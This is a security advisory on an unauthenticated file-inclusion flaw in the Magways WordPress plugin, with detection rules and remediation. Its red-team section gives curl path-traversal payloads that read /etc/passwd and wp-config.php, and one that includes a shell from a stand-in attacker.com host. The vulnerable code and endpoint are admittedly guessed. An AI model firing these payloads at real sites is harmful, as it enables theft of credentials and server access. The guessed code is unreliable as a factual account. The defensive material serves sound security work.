CVE-2025-49281

Executive Summary

CVE-2025-49281 is a critical vulnerability in the WordPress plugin Magways by Unfoldwp, affecting versions through 1.2.1. The flaw is an Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), which in this specific context manifests as a PHP Local File Inclusion (LFI). An unauthenticated attacker can exploit this to include arbitrary local files from the server, leading to sensitive information disclosure (e.g., wp-config.php, /etc/passwd). The CVSS score of 8.1 (High) reflects the ease of exploitation and potential for high confidentiality impact. No public proof-of-concept or patch is currently available, making this a high-priority zero-day for WordPress administrators.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed Magways from the WordPress dashboard or via direct download are affected. The lack of a patch from the vendor (Unfoldwp) means that supply chain risk is elevated; users must either remove the plugin or implement strict virtual patching until an update is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – full file read possible.
• Integrity Impact: None (I:N) – no file modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Critical for any site using the plugin. The LFI can expose database credentials, API keys, and other secrets.

Deep Dive & Mechanics

The vulnerability stems from insecure handling of a filename parameter passed to PHP's include() or require() functions. In the Magways plugin, a user-controllable input (likely via a GET or POST parameter) is used to construct a file path without proper sanitization or validation. Because the allow_url_include PHP directive is typically disabled, the attack is limited to local file inclusion, but this still allows reading arbitrary files on the server.

Root Cause: The plugin likely uses a pattern like:

include($_GET['file'] . '.php');

or similar, where the file parameter is not filtered for path traversal sequences (e.g., ../../). An attacker can supply ../../../../etc/passwd to read system files, or ../../../wp-config to read the WordPress configuration.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., wp-content/plugins/magways/some-page.php?file=...).
2. Attacker sends a request with a path traversal payload.
3. The server includes the specified file, outputting its contents in the response.
4. Attacker extracts sensitive data.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code and a potential fix.

Vulnerable Code (Hypothetical):

<?php
// magways/includes/loader.php
$file = $_GET['template'];
include( plugin_dir_path( __FILE__ ) . 'templates/' . $file . '.php' );
?>

Patched Code (Recommended):

<?php
// magways/includes/loader.php
$allowed_files = array('default', 'custom', 'grid');
$file = $_GET['template'];
if (in_array($file, $allowed_files, true)) {
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $file . '.php' );
} else {
    // Log attempt and return error
    wp_die('Invalid template file.');
}
?>

The fix uses a whitelist approach, ensuring only predefined filenames can be included.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with Magways <= 1.2.1 installed and activated.
• Knowledge of the vulnerable endpoint (e.g., /wp-content/plugins/magways/includes/loader.php).

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., template, file, page).
2. Use path traversal to read sensitive files:

   curl "http://target/wp-content/plugins/magways/includes/loader.php?template=../../../../etc/passwd"
   

3. Read WordPress configuration:

   curl "http://target/wp-content/plugins/magways/includes/loader.php?template=../../../wp-config"
   

4. For PHP file inclusion (if allow_url_include is on), use remote inclusion:

   curl "http://target/wp-content/plugins/magways/includes/loader.php?template=http://attacker.com/shell.txt"
   

Lab Setup:

• Use Docker to spin up a vulnerable WordPress environment:

  docker run -d --name wp-vuln -p 8080:80 wordpress:latest
  # Then manually install Magways <= 1.2.1 from a local zip.
  

Blue Team (Defensive)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e/).
• Look for requests to Magways plugin files with unexpected parameters.
• Use WAF rules to block ../ sequences in query strings.

Hunting:

• Search for include or require calls in the plugin code that use user input.
• Check for files like loader.php, ajax.php, or functions.php that may be vulnerable.

Indicators of Compromise (IOCs)

• File Paths: /wp-content/plugins/magways/includes/loader.php, /wp-content/plugins/magways/ajax.php
• URL Patterns: ?template=, ?file=, ?page= followed by ../ sequences.
• Log Entries: HTTP 200 responses to requests containing ../../etc/passwd or similar.
• Network: Outbound connections from the web server to attacker-controlled hosts (if RFI is possible).

Detection Engineering

YARA Rule

rule CVE_2025_49281_Magways_LFI {
    meta:
        description = "Detects attempts to exploit CVE-2025-49281 in Magways WordPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49281"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $plugin_file = /wp-content\/plugins\/magways\/includes\/loader\.php/i
        $param = /(\?|&)(template|file|page)=/
    condition:
        $plugin_file and $param and $path_traversal
}

Sigma Rule

title: CVE-2025-49281 Magways LFI Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts targeting Magways plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
        cs-uri-stem|contains: '/wp-content/plugins/magways/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49281 Magways LFI Attempt"; flow:to_server,established; content:"/wp-content/plugins/magways/"; http_uri; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns in query strings.
3. Restrict file permissions on sensitive files (e.g., wp-config.php should be 600).

Long-term Fix:

• The vendor must release a patched version that uses a whitelist of allowed files.
• Users should update to the latest version once available.

Workaround:

• Add the following to .htaccess to block direct access to the vulnerable file:

  <Files "loader.php">
      Order Allow,Deny
      Deny from all
  </Files>
  

Valters IT
Securing Digital Frontiers